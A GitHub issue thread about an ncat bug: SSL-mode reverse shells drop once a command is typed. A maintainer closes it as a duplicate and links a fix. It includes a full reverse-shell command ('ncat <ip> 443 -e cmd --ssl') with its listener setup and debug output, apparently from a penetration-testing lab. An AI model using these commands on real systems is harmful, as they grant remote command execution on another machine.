Ncat reverse shell not working in ssl mode #1049
Labels
Comments
|
I'm seeing the same behavior. I saw this was happening in earlier versions of ncat. |
|
I'm also seeing this behavior. Any word on a fix or a workaround? I've read elsewhere of using |
|
same issue here |
|
ncat 7.60 doesn't support tls 1.2 anymore since Sep 17. But when 7.50 came in out July... it did. Download the older one from nmap to your kali boxes... or try harder by compiling your own pe. <3. |
|
Closing as a duplicate of #197. Thanks for reporting, though, since it got me to find and fix the bug (commit incoming). |
nmap-bot
pushed a commit
that referenced
this issue
Mar 11, 2018
This fix was previously applied to ncat_listen's read_socket in r36652 (ac8b866) as a fix for #773. It didn't fully solve the problem, though, since the fix should have been applied in ncat_core's fdinfo_recv, right after the call to SSL_read. This commit moves the fix where it belongs, which also simplifies the code. Fixes #197 and #1049.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I have ncat listening in SSL mode in my linux box.
root@sane:~/Desktop# ncat --listen 443 --ssl -vvv
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: EAF5 2302 3E13 6E17 AEA1 0AE2 9F0B 2EB8 7F63 F291
NCAT DEBUG: Initialized fdlist with 103 maxfds
Ncat: Listening on :::443
NCAT DEBUG: Added fd 3 to list, nfds 1, maxfd 3
Ncat: Listening on 0.0.0.0:443
NCAT DEBUG: Added fd 4 to list, nfds 2, maxfd 4
NCAT DEBUG: Added fd 0 to list, nfds 3, maxfd 4
NCAT DEBUG: Initialized fdlist with 100 maxfds
NCAT DEBUG: selecting, fdmax 4
I am able to connect to this port in SSL mode from my Windows box with -e cmd option to get a reverse shell and i do get the command prompt in my linux box , but as soon as i type any command, the connection closes with the highlighted statements in my Windows box.
C:\Users\Administrator>ncat 10.11.0.64 443 -e cmd -vvv --ssl
Ncat: Version 7.60 ( https://nmap.org/ncat )
NCAT DEBUG: Using trusted CA certificates from C:\Program Files\Nmap\ca-bundle.c
rt.
NCAT DEBUG: Not doing certificate verification.
libnsock nsock_iod_new2(): nsock_iod_new (IOD #1)
libnsock nsock_connect_ssl(): SSL connection requested to 10.11.0.64:443/tcp (IO
D #1) EID 9
Ncat: Subject: CN=localhost
Ncat: Issuer: CN=localhost
Ncat: SHA-1 fingerprint: 48D4 40F5 AF93 19C8 99AA 369E CE52 F9D8 9DE1 A9D4
Ncat: Certificate verification failed (self signed certificate).
libnsock nsock_trace_handler_callback(): Callback: SSL-CONNECT SUCCESS for EID 9
[10.11.0.64:443]
Ncat: SSL connection to 10.11.0.64:443.
Ncat: SHA-1 fingerprint: 48D4 40F5 AF93 19C8 99AA 369E CE52 F9D8 9DE1 A9D4
libnsock nsock_iod_new2(): nsock_iod_new (IOD #2)
NCAT DEBUG: Executing: cmd
NCAT DEBUG: Creating named pipe "\.\pipe\ncat-1404-0"
NCAT DEBUG: Register subprocess 000000E0 at index 0.
NCAT DEBUG: Unregister subprocess 000000E0 from index 0.
NCAT DEBUG: Subprocess still running, terminating it.
NCAT DEBUG: Subprocess ended with exit code 259.
NCAT DEBUG: Terminating subprocesses
NCAT DEBUG: max_index 1
But everything works fine when not in SSL mode.
The text was updated successfully, but these errors were encountered: